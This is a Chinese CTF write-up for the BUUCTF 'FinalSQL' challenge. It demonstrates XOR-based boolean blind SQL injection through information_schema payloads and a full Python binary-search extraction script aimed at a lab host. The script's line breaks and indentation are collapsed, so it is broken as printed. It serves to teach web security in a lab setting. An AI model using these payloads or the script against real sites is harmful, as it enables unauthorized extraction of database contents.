[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL

依次点击5个页面

到最后一个页面发现提示尝试第6个页面，观察到url中的id，输入6得到

有参数，尝试单引号

提示error 那么应该存在sql注入，尝试永真式
肯定有过滤了，fuzz一波：

过滤了不少，但是异或^没被过滤，并且没有报错页面，那么应该是盲注
使用异或的特性：相同为0 不同为1 测试
利用id=0^1为NO! Not this! Click others~~~ id=1^1为ERROR！！！来进行盲注的判断

编写爆破脚本，参考这位佬的：[极客大挑战 2019]FinalSQL

1.爆破数据库名核心语句：0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")

爆破数据库名为geek

2.爆破表名核心语句：0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")

爆破出表名为F1naI1y,Flaaaaag

3.爆破字段名核心语句：0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(i)+",1))>"+str(mid)+")

F1naI1y表列名为id username password

0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),"+str(i)+",1))>"+str(mid)+")

Flaaaaag表字段为id fl4gawsl
猜测flag在fl4gawsl里

4.爆破flag 核心语句：0^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),"+str(i)+",1))>"+str(mid)+")

flag不在此处，查询另一张表的password字段

找到flag

完整脚本代码：

import requeststarget = "http://f394d9ca-2bcb-4014-bf77-82cd9e2a9963.node4.buuoj.cn:81/search.php"def getDataBase():          #获取数据库名database_name = ""for i in range(1,1000):     #注意是从1开始，substr函数从第一个字符开始截取low = 32high = 127mid = (low+high)//2while low < high:       #二分法params={"id":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来}r = requests.get(url=target,params=params)if "others" in r.text:      #为真时说明该字符在ascii表后面一半low = mid+1else:high = midmid = (low+high)//2if low <= 32 or high >= 127:breakdatabase_name += chr(mid)   #将ascii码转换为字符print("数据库名：" + database_name)def getTable():     #获取表名column_name=""for i in range(1,1000):low = 32high = 127mid = (low+high)//2while low<high:params = {"id": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")"}r = requests.get(url=target,params=params)if "others" in r.text:low = mid + 1else:high = midmid = (low+high)//2if low <= 32 or high >= 127:breakcolumn_name += chr(mid)print("表名为："+column_name)def getColumn():        #获取列名column_name = ""for i in range(1,250):low = 32high = 127mid = (low+high)//2while low < high:params = {"id": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),"+str(i)+",1))>"+str(mid)+")"}r = requests.get(url=target, params=params)if 'others' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if low <= 32 or high >= 127:breakcolumn_name += chr(mid)print("列名为：" + column_name)def getFlag():  #获取flagflag = ""for i in range(1,1000):low = 32high = 127mid = (low+high)//2while low < high:params = {"id" : "0^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))>"+str(mid)+")"}r = requests.get(url=target, params=params)if 'others' in r.text:low = mid + 1else:high = midmid = (low+high)//2if low <= 32 or high >= 127:breakflag += chr(mid)print("flag:" + flag)getDataBase()
getTable()
getColumn()
getFlag()

[极客大挑战 2019]FinalSQL相关推荐

[BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
BUUCTF Web [极客大挑战 2019]Havefun
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
BUUCTF-web [极客大挑战 2019]PHP1 之反序列化漏洞
PHP反序列化漏洞一,什么是序列与反序列序列就是把数据转成可逆的数据结构,目的是方便数据的储存和传输,反序列就是将数据逆转成原来的状态,序列就是拆数据,使得传输或储存更容易的过程,反序列就是重新拼 ...
BUUCTF Web 极客大挑战 2019 EasySQL
BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号首先有点常识: 正常SQL语句这 ...
BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http
目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...
BUUCTF——web（[GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http）
BUUCTF-web [GXYCTF2019]Ping Ping Ping 做题思路 [极客大挑战 2019]Knife 做题思路 [极客大挑战 2019]Http 做题思路 [GXYCTF2019] ...
极客大挑战2019php,[极客大挑战 2019]PHP
标签:spl payload sorry min private lob audio ascii sel 题目上说有备份的好习惯,扫描目录得到www.zip 几个重要p ...
BUUCTF [极客大挑战 2019] PHP
BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章判断应该存在备份文件:www.zip 下载得到源 ...
[极客大挑战 2019]Upload
[极客大挑战 2019]Upload 直接上传了木马文件,无法上传,先判断一下限制是来自客户端(js)还是服务端(对文件后缀.MIME等的检查) 禁用js之后,再上传一下,还是被拦截了,说明是在服务端 ...

[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL相关推荐

最新文章

热门文章